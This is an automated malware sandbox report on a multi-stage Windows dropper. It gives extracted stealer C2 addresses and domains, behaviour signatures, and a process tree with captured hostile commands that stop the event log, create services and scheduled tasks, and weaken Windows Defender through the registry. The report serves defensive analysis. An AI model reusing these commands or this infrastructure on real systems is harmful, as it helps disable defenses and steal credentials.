Overview

overview

10

Static

static

3

1719158494...64.exe

windows10-2004-x64

10

1719158494...64.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-06-2024 16:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    1719158494.319805_WWW2_64.exe

  • Size

    4.2MB

  • MD5

    4234a87227ae02a017a7fe64bb732bbe

  • SHA1

    f14926af80b812905dfee9fbcbf23b3f859365ad

  • SHA256

    6492dac1d123d1de20756741192a6901dbb2d88966b9434b055566d0a31760a2

  • SHA512

    9c56bba97dcca40291c2afec345a260623ebdf40b42c998c081cf7e8821b7bba525bfdf4c08ed537fc251c78d2346d58089aeb9eefe77735873cae40d2203c9f

  • SSDEEP

    98304:65SHb/0TC4UKZw7ASfLlkfeK7a7LX+taAYTuJpdGrB:6M/M/JSfLWALX+RYTuzdGrB

Score
10/10
lummaprivateloaderredlineriseprologsdiller cloud (tg: @logsdillabot)bootkitdiscoveryevasionexecutioninfostealerloaderpersistenceprivilege_escalationspywarestealerthemidatrojan

Malware Config

Extracted

Family

risepro

C2

77.91.77.66:58709

191.101.209.39

5.42.66.10

Extracted

Family

redline

Botnet

LogsDiller Cloud (TG: @logsdillabot)

C2

5.42.65.92:27953

Extracted

Family

lumma

C2

https://disappointcredisotw.shop/api

https://publicitycharetew.shop/api

https://computerexcudesp.shop/api

https://leafcalfconflcitw.shop/api

https://injurypiggyoewirog.shop/api

https://bargainnygroandjwk.shop/api

https://doughtdrillyksow.shop/api

https://facilitycoursedw.shop/api

Signatures

  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Modifies firewall policy service 3 TTPs 1 IoCs
    evasion
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 1 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
    evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 5 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 41 IoCs
  • Loads dropped DLL 40 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 18 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Writes to the Master Boot Record (MBR) 1 TTPs 4 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 2 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 1 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\1719158494.319805_WWW2_64.exe
    "C:\Users\Admin\AppData\Local\Temp\1719158494.319805_WWW2_64.exe"
    1⤵
    • Modifies firewall policy service
    • Checks computer location settings
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Users\Admin\Documents\SimpleAdobe\gMC6A6SQ33iFgmfhOagSNS4i.exe
      C:\Users\Admin\Documents\SimpleAdobe\gMC6A6SQ33iFgmfhOagSNS4i.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3380
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5036
    • C:\Users\Admin\Documents\SimpleAdobe\WfTgta5WPjijfB155uWBHHZw.exe
      C:\Users\Admin\Documents\SimpleAdobe\WfTgta5WPjijfB155uWBHHZw.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5072
      • C:\Users\Admin\AppData\Local\Temp\is-19HNM.tmp\WfTgta5WPjijfB155uWBHHZw.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-19HNM.tmp\WfTgta5WPjijfB155uWBHHZw.tmp" /SL5="$A01B8,5578089,54272,C:\Users\Admin\Documents\SimpleAdobe\WfTgta5WPjijfB155uWBHHZw.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3664
        • C:\Users\Admin\AppData\Local\Free Sound Recorder\freesoundrecorder32.exe
          "C:\Users\Admin\AppData\Local\Free Sound Recorder\freesoundrecorder32.exe" -i
          4⤵
          • Executes dropped EXE
          PID:5328
        • C:\Users\Admin\AppData\Local\Free Sound Recorder\freesoundrecorder32.exe
          "C:\Users\Admin\AppData\Local\Free Sound Recorder\freesoundrecorder32.exe" -s
          4⤵
          • Executes dropped EXE
          PID:2696
    • C:\Users\Admin\Documents\SimpleAdobe\_OoFSf_wXXkzvnMktDTYroeB.exe
      C:\Users\Admin\Documents\SimpleAdobe\_OoFSf_wXXkzvnMktDTYroeB.exe
      2⤵
      • Executes dropped EXE
      • Writes to the Master Boot Record (MBR)
      PID:4020
    • C:\Users\Admin\Documents\SimpleAdobe\zEfo2aaTGtY8Jlw7voPE_fRy.exe
      C:\Users\Admin\Documents\SimpleAdobe\zEfo2aaTGtY8Jlw7voPE_fRy.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3400
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
          PID:3548
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
            PID:5424
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            3⤵
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:5708
        • C:\Users\Admin\Documents\SimpleAdobe\YnSvsKhbiLOUOxgxlOlruJrn.exe
          C:\Users\Admin\Documents\SimpleAdobe\YnSvsKhbiLOUOxgxlOlruJrn.exe
          2⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:4428
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            3⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3104
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            3⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:5692
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            3⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4464
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            3⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:432
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe delete "CIFUBVHI"
            3⤵
            • Launches sc.exe
            PID:5116
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe create "CIFUBVHI" binpath= "C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe" start= "auto"
            3⤵
            • Launches sc.exe
            PID:5468
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop eventlog
            3⤵
            • Launches sc.exe
            PID:5888
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe start "CIFUBVHI"
            3⤵
            • Launches sc.exe
            PID:4700
        • C:\Users\Admin\Documents\SimpleAdobe\EL4qA80P2nDHu0eoP3SeYX77.exe
          C:\Users\Admin\Documents\SimpleAdobe\EL4qA80P2nDHu0eoP3SeYX77.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1280
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5408
        • C:\Users\Admin\Documents\SimpleAdobe\aD6EeaWc0ANl1UcIU8pjAMdj.exe
          C:\Users\Admin\Documents\SimpleAdobe\aD6EeaWc0ANl1UcIU8pjAMdj.exe
          2⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          PID:3404
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5560
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4616
        • C:\Users\Admin\Documents\SimpleAdobe\KWjblQ9QOStACiYYH0rtWTA7.exe
          C:\Users\Admin\Documents\SimpleAdobe\KWjblQ9QOStACiYYH0rtWTA7.exe
          2⤵
          • Checks computer location settings
          • Executes dropped EXE
          PID:2656
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c copy Confirmed Confirmed.cmd & Confirmed.cmd
            3⤵
              PID:5724
              • C:\Windows\SysWOW64\tasklist.exe
                tasklist
                4⤵
                • Enumerates processes with tasklist
                • Suspicious use of AdjustPrivilegeToken
                PID:5436
              • C:\Windows\SysWOW64\findstr.exe
                findstr /I "wrsa.exe opssvc.exe"
                4⤵
                  PID:5476
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist
                  4⤵
                  • Enumerates processes with tasklist
                  PID:5384
                • C:\Windows\SysWOW64\findstr.exe
                  findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
                  4⤵
                    PID:628
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c md 768318
                    4⤵
                      PID:2196
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr /V "PhoneAbcSchedulesApr" Nbc
                      4⤵
                        PID:4960
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c copy /b Challenged + Diy + Teachers + California + Mba + Yarn + Payable + Zdnet + Plumbing + Pe + Trick + Betting + Absence + Motorcycles + Man + Analyst + Max + Patrick + Pg + Exemption + Sight 768318\B
                        4⤵
                          PID:5872
                        • C:\Users\Admin\AppData\Local\Temp\768318\Paraguay.pif
                          768318\Paraguay.pif 768318\B
                          4⤵
                          • Executes dropped EXE
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:6064
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TradeWise.url" & echo URL="C:\Users\Admin\AppData\Local\TradeInsight Technologies\TradeWise.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TradeWise.url" & exit
                            5⤵
                            • Drops startup file
                            PID:5184
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout 5
                          4⤵
                          • Delays execution with timeout.exe
                          PID:4044
                    • C:\Users\Admin\Documents\SimpleAdobe\c2y5yHQjf6kZmhbO7LNSxYDI.exe
                      C:\Users\Admin\Documents\SimpleAdobe\c2y5yHQjf6kZmhbO7LNSxYDI.exe
                      2⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Checks for any installed AV software in registry
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of SetWindowsHookEx
                      PID:2948
                      • C:\Users\Admin\AppData\Local\Temp\aj44C3.exe
                        "C:\Users\Admin\AppData\Local\Temp\aj44C3.exe" /relaunch=8 /was_elevated=1 /tagdata
                        3⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Checks for any installed AV software in registry
                        • Writes to the Master Boot Record (MBR)
                        • Checks SCSI registry key(s)
                        • Suspicious behavior: EnumeratesProcesses
                        PID:6140
                        • C:\Users\Admin\AppData\Local\Temp\nss4A30.tmp\AVGBrowserUpdateSetup.exe
                          AVGBrowserUpdateSetup.exe /silent /install "bundlename=AVG Secure Browser&appguid={48F69C39-1356-4A7B-A899-70E3539D4982}&appname=AVG Secure Browser&needsadmin=true&lang=en-US&brand=9249&installargs=--no-create-user-shortcuts --make-chrome-default --force-default-win10 --auto-import-data%3Dmsedge --import-cookies --auto-launch-chrome"
                          4⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          PID:4000
                          • C:\Program Files (x86)\GUM5C6E.tmp\AVGBrowserUpdate.exe
                            "C:\Program Files (x86)\GUM5C6E.tmp\AVGBrowserUpdate.exe" /silent /install "bundlename=AVG Secure Browser&appguid={48F69C39-1356-4A7B-A899-70E3539D4982}&appname=AVG Secure Browser&needsadmin=true&lang=en-US&brand=9249&installargs=--no-create-user-shortcuts --make-chrome-default --force-default-win10 --auto-import-data%3Dmsedge --import-cookies --auto-launch-chrome"
                            5⤵
                            • Event Triggered Execution: Image File Execution Options Injection
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Writes to the Master Boot Record (MBR)
                            • Drops file in Program Files directory
                            • Modifies Internet Explorer settings
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3656
                            • C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe
                              "C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe" /regsvc
                              6⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Modifies registry class
                              PID:2640
                            • C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe
                              "C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe" /regserver
                              6⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Modifies registry class
                              PID:2440
                              • C:\Program Files (x86)\AVG\Browser\Update\1.8.1693.6\AVGBrowserUpdateComRegisterShell64.exe
                                "C:\Program Files (x86)\AVG\Browser\Update\1.8.1693.6\AVGBrowserUpdateComRegisterShell64.exe"
                                7⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Modifies registry class
                                PID:3096
                              • C:\Program Files (x86)\AVG\Browser\Update\1.8.1693.6\AVGBrowserUpdateComRegisterShell64.exe
                                "C:\Program Files (x86)\AVG\Browser\Update\1.8.1693.6\AVGBrowserUpdateComRegisterShell64.exe"
                                7⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Modifies registry class
                                PID:1992
                              • C:\Program Files (x86)\AVG\Browser\Update\1.8.1693.6\AVGBrowserUpdateComRegisterShell64.exe
                                "C:\Program Files (x86)\AVG\Browser\Update\1.8.1693.6\AVGBrowserUpdateComRegisterShell64.exe"
                                7⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Modifies registry class
                                PID:3152
                            • C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe
                              "C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgb21haGFpZD0iezFDODlFRjJGLUE4OEUtNERFMC05N0ZFLUNCNDBDOEU0RkVFQX0iIHVwZGF0ZXJ2ZXJzaW9uPSIxLjguMTY5My42IiBzaGVsbF92ZXJzaW9uPSIxLjguMTY5My42IiBpc21hY2hpbmU9IjEiIGlzX29tYWhhNjRiaXQ9IjAiIGlzX29zNjRiaXQ9IjEiIHNlc3Npb25pZD0ie0M4QTI4NjY1LURDN0MtNDlBQy1BMUNBLTg2ODgyMkFCMjQ0OH0iIGNlcnRfZXhwX2RhdGU9IjIwMjUwOTE3IiB1c2VyaWQ9Ins3OEY1RkE4RC04NjJCLTRFM0QtQTdGMi05RUMyMjg1MzZDQkR9IiB1c2VyaWRfZGF0ZT0iMjAyNDA2MjMiIG1hY2hpbmVpZD0iezAwMDA5QkIwLTk4NjYtMzU5Mi1BM0E2LTA4NkJDQzI5MDlFN30iIG1hY2hpbmVpZF9kYXRlPSIyMDI0MDYyMyIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiB0ZXN0c291cmNlPSJhdXRvIiByZXF1ZXN0aWQ9IntFRUE5QTJGMS0yQTdBLTQ5RkQtQjJGNy04ODQ2NzJGODU4RDd9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IHBoeXNtZW1vcnk9IjgiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMTkwNDEuMTI4OCIgc3A9IiIgYXJjaD0ieDY0Ii8-PGFwcCBhcHBpZD0iezFDODlFRjJGLUE4OEUtNERFMC05N0ZFLUNCNDBDOEU0RkVFQX0iIHZlcnNpb249IiIgbmV4dHZlcnNpb249IjEuOC4xNjkzLjYiIGxhbmc9ImVuLVVTIiBicmFuZD0iOTI0OSIgY2xpZW50PSIiPjxldmVudCBldmVudHR5cGU9IjIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIGluc3RhbGxfdGltZV9tcz0iMTAwMCIvPjwvYXBwPjwvcmVxdWVzdD4
                              6⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:5244
                            • C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe
                              "C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe" /handoff "bundlename=AVG Secure Browser&appguid={48F69C39-1356-4A7B-A899-70E3539D4982}&appname=AVG Secure Browser&needsadmin=true&lang=en-US&brand=9249&installargs=--no-create-user-shortcuts --make-chrome-default --force-default-win10 --auto-import-data%3Dmsedge --import-cookies --auto-launch-chrome" /installsource otherinstallcmd /sessionid "{C8A28665-DC7C-49AC-A1CA-868822AB2448}" /silent
                              6⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:3700
                    • C:\Users\Admin\Documents\SimpleAdobe\2GKWWeTv71_ZgorTBROaltnj.exe
                      C:\Users\Admin\Documents\SimpleAdobe\2GKWWeTv71_ZgorTBROaltnj.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:1792
                      • C:\Users\Admin\AppData\Local\Temp\7zS0071C419\setup.exe
                        C:\Users\Admin\AppData\Local\Temp\7zS0071C419\setup.exe --server-tracking-blob=MzlmMDZlYzAyZmFhNzg5MjY2NmNhMWE5MjQ2MzBlNjgyMzRiNTVkNTU5YzYyZTI3MjdhZTU4MjBiYjRhZjVjYzp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fbWVkaXVtPXBiJnV0bV9zb3VyY2U9Y2luc3QmdXRtX2NhbXBhaWduPU9wZXJhX0Rlc2t0b3AmdXRtX2NvbnRlbnQ9NWQ3NzZmZmE0ZDQ4OF8mdXRtX2lkPTI4WGprMnpWQnpxNGs4V1ZWTVk5OVMiLCJ0aW1lc3RhbXAiOiIxNzE5MTU4NTY4LjMwODkiLCJ1c2VyYWdlbnQiOiJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTIwLjAuMC4wIFNhZmFyaS81MzcuMzYiLCJ1dG0iOnsiY2FtcGFpZ24iOiJPcGVyYV9EZXNrdG9wIiwiY29udGVudCI6IjVkNzc2ZmZhNGQ0ODhfIiwiaWQiOiIyOFhqazJ6VkJ6cTRrOFdWVk1ZOTlTIiwibWVkaXVtIjoicGIiLCJzb3VyY2UiOiJjaW5zdCJ9LCJ1dWlkIjoiODcxYzkwMmYtY2E2Yi00ZWJjLWEwNGQtZjMxNTQyN2RlNmZjIn0=
                        3⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Enumerates connected drives
                        • Modifies system certificate store
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:3876
                        • C:\Users\Admin\AppData\Local\Temp\7zS0071C419\setup.exe
                          C:\Users\Admin\AppData\Local\Temp\7zS0071C419\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=111.0.5168.25 --initial-client-data=0x320,0x324,0x328,0x2fc,0x32c,0x70a0a128,0x70a0a134,0x70a0a140
                          4⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4380
                        • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe
                          "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version
                          4⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:5752
                        • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406231604011\assistant\Assistant_111.0.5168.25_Setup.exe_sfx.exe
                          "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406231604011\assistant\Assistant_111.0.5168.25_Setup.exe_sfx.exe"
                          4⤵
                          • Executes dropped EXE
                          PID:5376
                        • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406231604011\assistant\assistant_installer.exe
                          "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406231604011\assistant\assistant_installer.exe" --version
                          4⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:5800
                          • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406231604011\assistant\assistant_installer.exe
                            "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406231604011\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=111.0.5168.25 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x9b9f88,0x9b9f94,0x9b9fa0
                            5⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:3424
                    • C:\Users\Admin\Documents\SimpleAdobe\aspR8VuNtToCuGKBbyNGSSvH.exe
                      C:\Users\Admin\Documents\SimpleAdobe\aspR8VuNtToCuGKBbyNGSSvH.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:840
                      • C:\Users\Admin\AppData\Local\Temp\7zS2AEE.tmp\Install.exe
                        .\Install.exe
                        3⤵
                        • Executes dropped EXE
                        PID:5284
                        • C:\Users\Admin\AppData\Local\Temp\7zS385C.tmp\Install.exe
                          .\Install.exe /mcvGZdidBQSpd "385135" /S
                          4⤵
                          • Checks BIOS information in registry
                          • Checks computer location settings
                          • Executes dropped EXE
                          • Enumerates system info in registry
                          PID:6012
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                            5⤵
                              PID:6008
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                6⤵
                                  PID:3148
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                    7⤵
                                      PID:4432
                                      • \??\c:\windows\SysWOW64\reg.exe
